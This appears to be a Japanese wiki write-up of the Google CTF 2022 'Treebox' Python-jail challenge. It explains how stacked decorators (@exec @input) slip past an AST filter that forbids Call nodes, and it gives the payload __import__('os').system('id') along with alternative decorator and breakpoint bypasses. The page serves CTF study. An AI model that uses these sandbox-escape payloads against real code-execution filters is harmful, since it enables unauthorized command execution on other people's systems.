pyjail wiki

Google CTF 2022 - Treebox

Challenge

AST ベースの検証で危険な操作をブロック。

import ast
import sys
code = sys.stdin.read()
tree = ast.parse(code)
for node in ast.walk(tree):
match type(node):
case ast.Import | ast.ImportFrom | ast.Call:
print("Forbidden!")
sys.exit(1)
exec(code)

Solution

デコレータによる Call バイパス

デコレータ構文 @ は内部的に関数呼び出しだが、AST では Call ではなく特殊な処理:

@exec
@input
class X:
pass

これは以下と等価:

class X:
pass
X = input(X)
X = exec(X)

ペイロード

__import__('os').system('id')

を input で入力すると exec で実行される。

Technical Details

AST でのデコレータ

import ast
code = """
@decorator
class X:
pass
"""
tree = ast.parse(code)
print(ast.dump(tree, indent=2))
# ClassDef(
# name='X',
# ...
# decorator_list=[Name(id='decorator', ctx=Load())],
# ...
# )

デコレータは decorator_listName ノードとして格納され、Call ノードではない。

引数付きデコレータ

@decorator(arg) # これは Call を生成
class X:
pass

引数付きの場合は Call が生成されるため、この問題では使用不可。

Alternative Solutions

別解1: 複数デコレータの連鎖

@print
@list
@exec
@input
class X: pass

別解2: breakpoint を使用

@breakpoint
class X: pass

breakpoint() が呼ばれ、pdb が起動。

Flag

CTF{...}

References